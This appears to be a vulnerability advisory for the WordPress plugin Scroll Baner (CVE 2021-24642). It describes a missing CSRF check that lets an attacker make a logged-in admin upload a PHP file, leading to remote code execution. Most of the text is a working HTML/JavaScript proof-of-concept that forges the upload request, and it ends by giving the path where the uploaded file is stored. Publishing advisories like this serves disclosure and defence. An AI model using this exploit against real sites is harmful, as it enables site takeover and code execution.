Scroll Baner <= 1.0 – CSRF to RCE | CVE 2021-24642

Description

The plugin does not have CSRF check in place when saving its settings, nor perform any sanitisation, escaping or validation on them. This could allow attackers to make logged in admin change them and could lead to RCE (via a file upload) as well as XSS

Proof of Concept

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/plugins.php?page=scrollbaner-config", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------15791116663948114961503339934");
        xhr.withCredentials = true;
        var body = "-----------------------------15791116663948114961503339934\r\n" + 
          "Content-Disposition: form-data; name=\"act\"\r\n" + 
          "\r\n" + 
          "edy\r\n" + 
          "-----------------------------15791116663948114961503339934\r\n" + 
          "Content-Disposition: form-data; name=\"scrollbaner_scrfile1\"; filename=\"134.php\"\r\n" + 
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php echo \'FAILED\'; ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------15791116663948114961503339934\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Update configuration\r\n" + 
          "-----------------------------15791116663948114961503339934--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


The PHP code will put in the file at /wp-content/scrollbaner1.php